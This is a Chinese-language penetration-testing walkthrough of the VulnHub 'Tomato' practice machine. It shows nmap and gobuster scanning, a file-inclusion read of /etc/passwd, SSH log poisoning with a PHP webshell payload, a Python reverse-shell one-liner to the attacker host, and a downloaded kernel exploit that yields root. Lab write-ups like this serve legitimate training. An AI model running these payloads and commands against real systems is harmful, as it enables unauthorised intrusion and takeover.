1. 靶场环境搭建与信息收集第一次接触VulnHub的Tomato靶场时我就被它独特的名字吸引了。这个靶场模拟了一个典型的Web服务器环境包含多个常见的漏洞点。我们先从最基础的环境搭建说起。首先需要下载Tomato靶机的OVA文件导入到VirtualBox中。这里有个小技巧建议将虚拟机的网络模式设置为桥接这样攻击机和靶机就能处于同一网段。我习惯用Kali Linux作为攻击机因为它预装了渗透测试需要的各种工具。确认靶机IP是最关键的第一步。我常用的命令是nmap -sS 192.168.200.0/24这个命令会对192.168.200.0/24网段进行SYN扫描快速发现活跃主机。扫描结果显示靶机IP是192.168.200.26接下来就该详细扫描它的开放端口了。2. 端口扫描与服务探测端口扫描是渗透测试的敲门砖。针对Tomato靶机我使用了更详细的扫描参数nmap -sV -sC -p- 192.168.200.26这个命令会扫描所有端口(-p-)同时进行版本探测(-sV)和默认脚本扫描(-sC)。扫描结果显示靶机开放了三个关键端口21端口FTP服务80端口HTTP服务8888端口另一个HTTP服务80端口访问后只显示了一个大番茄图片看似毫无价值。但经验告诉我这种简单的页面往往隐藏着更多秘密。于是我立即转向8888端口发现了一个登录界面。在没有凭证的情况下我决定先回到80端口进行目录爆破。3. 目录爆破与漏洞发现使用dirbuster或者gobuster进行目录爆破是常规操作。我更喜欢用gobuster因为它速度更快gobuster dir -u http://192.168.200.26 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt扫描发现了一个有趣的路径/antibot_image。访问这个路径后我发现这里存在目录遍历漏洞。通过修改URL参数可以读取服务器上的任意文件。最关键的发现是info.php文件它泄露了PHP环境信息。查看源代码时我注意到image参数存在文件包含漏洞。测试包含/etc/passwd文件成功这证实了漏洞的存在http://192.168.200.26/antibot_image/antibots/info.php?image../../../../../../../etc/passwd4. 日志污染与Webshell写入在多次尝试后我发现/var/log/auth.log文件可读。这个文件记录了系统认证日志包括SSH登录尝试。于是我想到了一个绝妙的利用方法 - 日志污染。通过故意用包含PHP代码的用户名尝试SSH登录ssh ?php echo system($_GET[cmd]);?192.168.200.26 -p 2211这段代码会被记录到auth.log中。然后通过文件包含漏洞执行这个污染过的日志文件实际上就相当于在服务器上植入了一个Webshell。5. 反弹Shell获取与权限提升有了Webshell后下一步就是获取交互式Shell。我用Python3编写了一个反弹Shell命令python3 -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.200.25,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]);同时在攻击机上用netcat监听1234端口nc -lvnp 1234成功获取Shell后我发现当前权限是www-data需要进一步提权。通过uname -a查看系统信息发现内核版本是4.4.0-21这是个存在已知漏洞的版本。6. 内核漏洞提权实战对于Linux内核提权我通常先用searchsploit查找可用漏洞searchsploit linux 4.4.0发现45010.c这个漏洞利用代码很适合。将其复制到当前目录searchsploit -m 45010.c然后编译并传输到靶机gcc 45010.c -o exploit python3 -m http.server 80在靶机上下载并执行wget http://192.168.200.25/exploit chmod x exploit ./exploit执行成功后通过id命令验证我们已经获得了root权限。整个过程就像剥洋葱一样一层层揭开系统的防护最终获得最高权限。7. 渗透测试中的经验总结在这次Tomato靶场实战中有几个关键点值得注意信息收集要全面不要忽视看似无用的页面它们可能隐藏着关键漏洞漏洞利用要灵活同一个漏洞可能有多种利用方式需要根据实际情况选择最合适的权限提升要系统了解目标系统的详细环境信息才能找到最有效的提权方法靶机渗透最大的价值不在于拿到root权限而在于理解每个步骤背后的原理和思路。Tomato靶场很好地模拟了真实环境中的多种漏洞组合是新手练习渗透测试的绝佳选择。